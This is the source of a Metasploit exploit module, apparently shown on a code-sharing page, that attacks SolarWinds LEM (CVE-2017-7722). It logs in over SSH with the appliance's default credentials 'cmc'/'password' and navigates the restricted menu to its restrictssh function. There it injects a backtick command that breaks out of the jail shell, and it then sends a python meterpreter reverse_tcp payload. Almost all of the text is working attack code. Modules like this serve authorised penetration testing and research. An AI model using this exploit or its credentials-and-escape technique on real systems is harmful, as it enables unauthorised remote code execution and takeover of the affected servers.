Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/solarwinds_lem_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SSH910def initialize(info = {})11super(12update_info(13info,14'Name' => 'SolarWinds LEM Default SSH Password Remote Code Execution',15'Description' => %q{16This module exploits the default credentials of SolarWinds LEM. A menu system is encountered when the SSH17service is accessed with the default username and password which is "cmc" and "password". By exploiting a18vulnerability that exist on the menuing script, an attacker can escape from restricted shell.1920This module was tested against SolarWinds LEM v6.3.1.21},22'License' => MSF_LICENSE,23'Author' => [24'Mehmet Ince <[email protected]>', # discovery & msf module25],26'References' => [27['CVE', '2017-7722'],28['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']29],30'DefaultOptions' => {31'Payload' => 'python/meterpreter/reverse_tcp'32},33'Platform' => ['python'],34'Arch' => ARCH_PYTHON,35'Targets' => [ ['Automatic', {}] ],36'Privileged' => false,37'DisclosureDate' => '2017-03-17',38'DefaultTarget' => 0,39'Notes' => {40'Stability' => [CRASH_SAFE],41'Reliability' => [REPEATABLE_SESSION],42'SideEffects' => []43}44)45)4647register_options(48[49Opt::RPORT(32022),50OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),51OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),52]53)5455register_advanced_options(56[57OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),58OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])59]60)61end6263def rhost64datastore['RHOST']65end6667def rport68datastore['RPORT']69end7071def username72datastore['USERNAME']73end7475def password76datastore['PASSWORD']77end7879def exploit80opts = ssh_client_defaults.merge({81auth_methods: ['keyboard-interactive'],82port: rport,83password: password84})8586opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']8788print_status("#{rhost}:#{rport} - Attempting to login...")8990begin91ssh = nil92::Timeout.timeout(datastore['SSH_TIMEOUT']) do93ssh = Net::SSH.start(rhost, username, opts)94end95rescue Rex::ConnectionError96return97rescue Net::SSH::Disconnect, ::EOFError98print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"99return100rescue ::Timeout::Error101print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"102return103rescue Net::SSH::AuthenticationFailed104print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."105rescue Net::SSH::Exception => e106print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"107return108end109110return unless ssh111112print_good('SSH connection is established.')113114payload_executed = false115116ssh.open_channel do |channel|117print_status('Requesting pty... We need it in order to interact with menuing system.')118119channel.request_pty do |ch, pty_success|120raise 'Could not request pty!' unless pty_success121122print_good('Pty successfully obtained.')123124print_status('Requesting a shell.')125ch.send_channel_request('shell') do |_ch, shell_success|126raise 'Could not open shell!' unless shell_success127128print_good('Remote shell successfully obtained.')129end130end131132channel.on_data do |_ch, data|133if data.include? 'cmc '134print_good('Step 1 is done. Managed to access terminal menu.')135channel.send_data("service\n")136end137138if data.include? 'service '139print_good("Step 2 is done. Managed to select 'service' sub menu.")140channel.send_data("restrictssh\n")141end142143if data.include? 'Press <enter> to configure restriction on the SSH service to the Manager Appliance'144print_good("Step 3 is done. Managed to start 'restrictssh' function.")145channel.send_data("*#`bash>&2`\n")146end147148if data.include? 'Are the hosts'149print_good('Step 4 is done. We are going to try escape from jail shell.')150channel.send_data("Y\n")151end152153if data.include?('/usr/local/contego') && (payload_executed == false)154print_good('Sweet..! Escaped from jail.')155print_status('Delivering payload...')156channel.send_data("python -c \"#{payload.encoded}\"\n")157payload_executed = true158end159end160end161begin162ssh.loop unless session_created?163rescue Errno::EBADF => e164elog(e)165end166end167end168169170